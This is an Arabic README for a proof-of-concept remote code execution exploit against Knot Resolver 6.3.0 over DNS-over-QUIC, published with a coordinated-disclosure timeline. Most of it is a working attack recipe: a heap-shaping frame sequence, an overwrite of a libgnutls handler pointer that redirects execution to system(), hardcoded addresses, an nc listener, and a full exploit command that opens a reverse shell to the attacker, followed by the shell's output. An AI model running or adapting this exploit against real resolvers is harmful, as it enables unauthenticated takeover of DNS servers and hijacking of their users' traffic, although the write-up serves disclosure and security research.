
CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC تجاوز سعة الكومة (RCE)
إثبات مفهوم (PoC) لتجاوز سعة مخزن مؤقت في الكومة (heap buffer overflow) قابل للتفعيل عن بُعد عبر مسار استقبال DNS-over-QUIC (DoQ) في Knot Resolver، ويؤدي إلى تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم الخدمة knot-resolver.
kresd (daemon/quic_conn.c)6.3.0-cznic.1~bookworm)knot-resolver؛ وعلى الأقل تعطُّل عن بُعد / DoSنُشر هذا المحتوى بالتزامن مع إصلاح المطوّر والنشرة الأمنية ضمن إفصاح منسّق. للاستخدام في أبحاث الأمن المصرّح بها والتحقق الدفاعي فقط.
استغلال كامل عن بُعد — يُطلق الاستغلال من جهاز المهاجم عبر DNS-over-QUIC، وتُلتقط صدفة عكسية بصلاحيات knot-resolver على nc (انقر لمشاهدة الفيديو بدقة كاملة):
Knot Resolver هو حلّال DNS تكراري (recursive resolver) مفتوح المصدر مع تخزين مؤقت، طوّرته CZ.NIC (سجلّ .cz). يحلّ استعلامات DNS نيابةً عن العملاء — أجهزة المستخدمين النهائيين، وأساطيل حلّالات مزوّدي خدمة الإنترنت، وخدمات الحلّ العامة — ويخزّن الإجابات مؤقتًا. يدعم بروتوكولات النقل المشفّرة الحديثة بما فيها DNS-over-TLS (DoT) وDNS-over-HTTPS (DoH) وDNS-over-QUIC (DoQ)، ويأتي مزوّدًا بالتحقق من DNSSEC والتخزين المؤقت العدواني (aggressive caching).
وهو شائع في بيئات مزوّدي خدمة الإنترنت الكبيرة، حيث تجعله مجموعة ميزاته الغنية (سياسة قابلة للبرمجة، وDNSSEC، ونقل مشفّر، وتخزين مؤقت دقيق التحكّم) وأداؤه العالي مناسبًا تمامًا لخدمة قواعد مشتركين ضخمة جدًا.
الخفيّة (daemon) kresd هي خدمة شبكة طويلة العمر معرّضة مباشرةً لمدخلات غير موثوقة من أي مضيف يتمكن من الوصول إلى منفذ الاستماع الخاص بها. وهذا يجعل خطأ إفساد الذاكرة في مسار استقبال الحزم — مثل الذي يُستغل هنا — سطح هجوم يمكن الوصول إليه عن بُعد ودون مصادقة: فاختراق الحلّال يمكّن المهاجم من تزوير إجابات DNS لكل عميل سفلي، أي إعادة توجيه حركة مرورهم أو اعتراضها بالكامل تقريبًا.
تعيد الدالة kr_recv_stream_data_cb() تجميع إطارات STREAM الخاصة بـ DoQ في مخزن مدخلات لكل اتصال (pers_inbuf). وهي توسّع ذلك المخزن عبر:
pers_inbuf.size += datalen; /* bug: accumulates, never re-baselines */
بدلًا من ضبط الحجم على الإجمالي الجديد. وعلى مدى عدة إطارات، ينحرف الحجم المُتتبَّع size إلى قيمة أعلى من التخصيص الفعلي. لذا فإن إطارًا أخيرًا يكون datalen فيه مناسبًا تحت الحجم المضخَّم يتجاوز إعادة التخصيص، بينما تكون استدعاء memcpy() اللاحقة محدودة بذلك الحجم المضخَّم — فيكتب ما بعد نهاية الكائن. يُبقي jemalloc الكائن مثبّتًا على فئة حجمه الفعلية، لذلك تهبط البايتات الزائدة في فتحة slab المجاورة.
سلسلة من ستة إطارات على دفق واحد تُنقِل pers_inbuf عبر خمس فئات حجم من jemalloc حتى فئة 6144 بايت، ثم تفيض إلى الفتحة المجاورة:
F1 datalen=8 initial 1200-byte allocation
F2 datalen=1440 realloc -> 1536-class
F3 datalen=1440 realloc -> 3072-class
F4 datalen=1440 realloc -> 5120-class
F5 datalen=1440 realloc -> 6144-class
F6 datalen=1200, FIN no realloc -> 814-byte OOB write into slot+1
تُرتّب تهيئة خفيفة للاتصالات (فتح عدة اتصالات DoQ وتحرير نصفها قبل الإطلاق مباشرة) أن يحتوي slot+1 على معالج تنظيف من libgnutls. يستبدل الفائض مؤشر إرسال ذلك المعالج ووسيطه والعلم الذي يتحكم في الإرسال. وعند تفكيك الاتصال، ينفّذ libgnutls ما يلي:
call *0x110(%rbx) ; %rbx = attacker-controlled slot+1
مما يمنح التحكم في مؤشر التعليمات (RIP) والوسيط الأول (RDI). ويوجّه إثبات المفهوم هذا الاستدعاء إلى system() مع مؤشر إلى سلسلة أمر يوفّرها المهاجم مكتوبة في الفتحة نفسها.
يستهدف إثبات المفهوم هذا مضيفًا معطَّلًا فيه ASLR (kernel.randomize_va_space = 0). ومع إيقاف التوزيع العشوائي، تكون عناوين الكومة وlibc حتمية، لذلك يكون العنوانان اللذان يحتاجهما الاستغلال (slot+1 وsystem()) ثابتين لإصدار معيّن. كسر ASLR مسألة منفصلة وهو خارج النطاق هنا عمدًا — فالهدف هو إظهار آلية إفساد الذاكرة → التحكم في تدفق التنفيذ → تنفيذ التعليمات البرمجية بمعزل عن غيرها.
وبما أن تلك العناوين حتمية، لا يلزم أي تسريب معلومات: يعمل الاستغلال بالكامل عبر الشبكة من مضيف بعيد. تُستعاد العناوين مرة واحدة عبر خطوة probe (أدناه) على أي إصدار مطابق ثم تُضمَّن في الكود كقيم ثابتة؛ وهي على الإصدار المرجعي slot+1 = 0x7ffff66c5000 وsystem = 0x7ffff746a490.
| الملف | الغرض |
|---|---|
poc.py | الاستغلال. الأوضاع: probe وrip وexec. |
probe.gdb | أوراكل gdb يقرأ pers_inbuf الحتمي. |
README.md | هذا المستند. |
يتطلب Python 3 مع aioquic وnetcat على جانب المهاجم، وgdb على الهدف فقط لخطوة probe التي تُنفَّذ مرة واحدة.
هذا هو العرض الرئيسي: يُطلق الاستغلال من جهاز المهاجم عبر الشبكة، مع تضمين العنوانين الحتميين كقيم ثابتة في الكود. لا يُقرأ أي شيء من الهدف — لا /proc ولا gdb ولا سجلات.
# On the attacker box: listen for the shell
$ nc -lvnp 4444 # Linux; on macOS/BSD: nc -l 4444
# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
--host <target> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <attacker-ip> --lport 4444 \
--rounds 250
كل جولة ناجحة تستدعي system() على الهدف بأمر صدفة عكسية؛ وتتصل الصدفة عائدةً إلى --lhost:--lport حيث يستقبلها nc. وعند وصولها، اكتب في جلسة netcat للتحكم في الصدفة:
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
قيم --slot1 و--system تُستعاد مرة واحدة عبر خطوة probe على أي إصدار مطابق؛ وهي ثوابت ما دام ASLR معطّلًا.
قيم --slot1 و--system أعلاه ثوابت ما دام ASLR معطّلًا؛ استعدها مرة واحدة على أي إصدار مطابق. الشرط المسبق:
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
كذلك يُظهر poc.py rip --rounds 8 تحكمًا مباشرًا في RIP/RDI (يتعطّل الهدف عند مؤشر التعليمات الذي يختاره المهاجم).
قِيست الموثوقية على الإصدار المرجعي (Debian 12، 6.3.0-cznic.1، مع تعطيل ASLR):
| الآلية | المعدل |
|---|---|
التحكم في RIP/RDI (rip، تعطّل) | ~7/8 لكل جولة |
تنفيذ كامل لـ system() (exec) | ~1 من كل 30–50 جولة |
الفجوة أمر متأصل: يعمل system() على كومة أفسدها الفائض للتو، لذلك فإن معظم عمليات الاستدعاء تُسقط kresd قبل إنشاء العملية الفرعية. يعيد المشرف (supervisor) إطلاق الخفيّة بعد كل تعطّل، والعنوان حتمي مع تعطيل ASLR، وكل محاولة مستقلة — لذا تكتفي حلقة exec بإعادة المحاولة حتى تنجح إحداها (في التشغيل البعيد أعلاه، وصلت الصدفة في الجولة 5). المحاولة الفاشلة هي مجرد تعطّل عابر لإحدى العمليات العاملة (DoS). معاملات التهيئة --groom 16 --close 8 --qpc 4 هي أفضل الإعدادات الافتراضية تجريبيًا؛ أما الإغلاق الأثقل (مثل --close 16 مع --groom 32) فيُسقط معدل الإصابة.
OS Debian 12 (bookworm), glibc 2.36
kresd knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config DoQ listener on 127.0.0.1@8853
هندسة فئات الحجم (ستة إطارات، حمولات 1200/1440 بايت) وإزاحة إرسال libgnutls خاصتان بهذا الإصدار؛ أما الإصدارات الأخرى فستحتاج إلى إعادة اشتقاق أحجام الإطارات والإزاحات.
| التاريخ | الحدث |
|---|---|
| 2026-06-08 | أُبلغ المطوّر (CZ.NIC) بالثغرة. |
| 2026-07-22 | صدر الإصلاح في Knot Resolver 6.4.1 مع نشرة أمنية من المطوّر. |
| 2026-07-23 | نُشر إثبات المفهوم هذا والتقرير الفني. |
أُبلغ المطوّر بهذه الثغرة في 2026-06-08، ونُشر هذا المحتوى بالتنسيق مع الإصلاح الرسمي (6.4.1، بتاريخ 2026-07-22). وهو مقدَّم للاختبار المصرّح به والتحقق الدفاعي والأبحاث. لا تشغّله ضد أنظمة لا تملكها أو غير مصرّح لك صراحةً باختبارها.
SPDX-License-Identifier: MIT